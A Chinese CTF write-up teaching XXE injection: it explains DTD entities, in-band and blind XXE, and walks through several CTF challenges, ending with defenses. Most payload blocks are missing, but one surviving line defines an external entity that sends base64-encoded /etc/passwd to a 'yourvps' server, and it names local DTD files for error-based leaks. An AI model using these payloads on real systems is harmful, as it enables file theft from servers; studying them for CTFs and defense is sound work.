XXE在现在比赛中出现的比较少,所以不是很熟练,趁着最近赶紧恶补一下XXE
什么是XXE
XXE:XML External Entity 即XML外部实体注入攻击。是由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体,通过外部实体SYSTEM请求本地文件uri,通过某种方式返回本地的文件内容,导致了XXE漏洞。漏洞形成的标志性函数:例如PHP中的simplexml_load_string
或者simplexml_load_file
,默认情况下都会解析外部实体。
XML实体
XML的基本语法与html很类似,与html的区别只在于XML主要用来传输和存储数据,而HTML则是用来显示数据
要了解XXE,主要关注的是xml实体的定义:DTD
DTD的学习具体可以参考:https://www.w3school.com.cn/dtd/dtd_entities.asp
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
1 | <!DOCTYPE 根元素 [元素声明]> |
外部实体与内部实体
xml实体可以分为外部和内部实体
内部实体与外部实体的区别,从语法上来看:
1 | <!ENTITY 实体名称 "实体的值"> //定义内部实体 |
示例:
1 | //xml声明 |
一般实体和参数实体
xml实体还可以分为一般和参数实体
(1)一般实体的声明:<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名词;
一般实体既可以在DTD部分中引用,也可以在XML部分中引用
(2)参数实体的声明:<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
参数实体只能在DTD部分中引用
示例:
1 | //xml声明 |
另外参数实体还能嵌套定义,但是要注意内层定义的参数实体%
需要进行HTML转义,否则会出现解析错误
1 |
XXE利用
漏洞利用的简单靶机在线环境:https://www.vulnspy.com/phpaudit-xxe/
有回显的xxe
首先准备一个简单的具有XXE漏洞的php文件:
1 |
|
代码很简单,漏洞的触发点就是simplexml_load_string
这个函数,他能允许我们通过DTD来定义外部实体
写入payload:
1 |
|
简单的定义了一个外部实体test,通过file协议来读取服务器端本机的文件
因为服务器端代码:echo htmlspecialchars($resp);
,所以执行的结果能回显
无回显的xxe
既然上面的例子是因为echo htmlspecialchars($resp);
这句代码所以才有回显,那么把这段代码去掉,就变成了无回显。那么,是不是就不能进行xxe了呢,答案是否定的,虽然靶机没有返回给我们数据,但是我们可以把数据带到我们自己的服务器上。
靶机代码:
1 |
|
可以看到,现在正常情况下,只会返回给我们ok,即有查询结果,但是不会告诉我们结果是什么
我们传入如下的payload:
1 |
|
然后在自己的vps上的evil.xml写入:
1 | <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://yourvps/?content=%file;'>"> %payload; |
注意,因为这里是参数实体payload来嵌套定义参数实体send,所以被嵌套定义的参数实体%
一定要HTML编码为:%
如此一来,调用的过程就变成了:参数实体dtd通过http协议来访问vps上的evil.xml,然后返回evil.xml的内容,调用了参数实体payload,然后payload又调用了参数实体send,send的作用就是把参数实体file(即文件/etc/passwd的base64编码内容)发送到我们的vps上
那么为什么不能把<!ENTITY % send SYSTEM 'http://yourvps/?content=%file;'>
payload的DTD里呢,这是因为:在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错: PEReferences forbidden in internal subset
。 所以,参数实体引用%file;
必须放在外部文件里 。
但是,如果目标靶机不允许我们访问外网,那么就需要用到另一种方法:利用本地dtd文件重新定义参数实体产生报错从而回显信息。这种方法我们后面结合实际例题来说明。
ctf例题
api调用
题目地址:http://web.jarvisoj.com:9882/
抓包发现提交的是json数据
那么就很存在xxe,先试着看看能不能解析xml标签
修改头部字段:Content-Type: application/xml
,然后任意发送标签<a>123</a>
发现服务器成功解析,说明是有回显的xxe,那么直接发送读取flag文件的payload即可:
1 |
|
who_are_you
题目来源:2019 网络与信息安全领域专项赛线上赛
查看源码发现了xml提交的请求
1 | <script type="text/javascript"> |
看到xml自然就想到了尝试xxe攻击,
不过要注意这里规定了提交标签的格式要带有:
1 | '<feedback>'+'<author>'+document.getElementById('name').value+ '</author>' + '</feedback>'; |
所以构造payload:
1 |
|
但是尝试了file:///var/www/html/index.php等路径读不到index.php
于是就想到用php伪协议来读源码,就不需要知道绝对路径了
payload如下:
1 |
|
读完base64解码后发现flag就在源码里面
LookAround
题目来源:2019 ogeek ctf线上赛
查看源码发现有个后台定时发送xml数据
应该是考察xxe
尝试分别读取存在和不存在的文件,发现不存在时有报错信息,存在时没有回显信息
既然有查询到结果却没有回显,说明这题是考察blind xxe
blind xxe思想就是将数据通过外部服务器或者报错信息带出来
首先尝试http协议,发现访问不了外部服务器,会出现超时的情况
那么只能考虑第二种,利用本地dtd文件重新定义其内部参数实体引起报错,通过报错信息带出我们想要的数据
首先就要猜出本地dtd文件的绝对路径
参考:https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation
将里面的所有dtd文件的绝对路径尝试一遍,发现了本题dtd文件路径:
/usr/share/xml/fontconfig/fonts.dtd
重新定义其中的参数实体expr,然后在该实体中调用一个参数实体eval,eval再调用一个参数实体error通过file协议访问一个不存在的文件,产生报错信息。报错信息中就包含了参数实体file读取我们需要文件的内容,payload:
1 |
|
flag就在报错信息中
[GoogleCTF2019 Quals]Bnv
复现地址:https://buuoj.cn
在源码的post.js中发现了xml请求代码:
1 | var url = '/api/search'; |
抓包仍然是提交一个json数据,
老办法,先修改头部字段Content-Type: application/xml
,然后试着通过DTD去声明一个message元素:
1 |
|
如果未声明message元素的话,服务器会返回:No declaration for element message的报错信息
成功返回查询结果
然后尝试读取文件:
1 | <?xml version = "1.0" encoding = "utf-8" ?> |
同样,我们读取一个不存在的文件时:
出现了报错信息,说明这是一个没有回显的xxe,并且同样禁用了http协议
那么,我们就要尝试去寻找本地dtd文件:
本题目存在ubuntu系统自带的/usr/share/yelp/dtd/docbookx.dtd
文件,docbookx.dtd文件具有ISOamso实体,我们可以重新定义它,触发错误信息
传入payload:
1 |
最后读取flag:
XXE防御
- 使用开发语言提供的禁用外部实体的方法:
1 | PHP: |
- 过滤用户提交的XML数据关键词:
<!DOCTYPE
和<!ENTITY
,或者,SYSTEM
和PUBLIC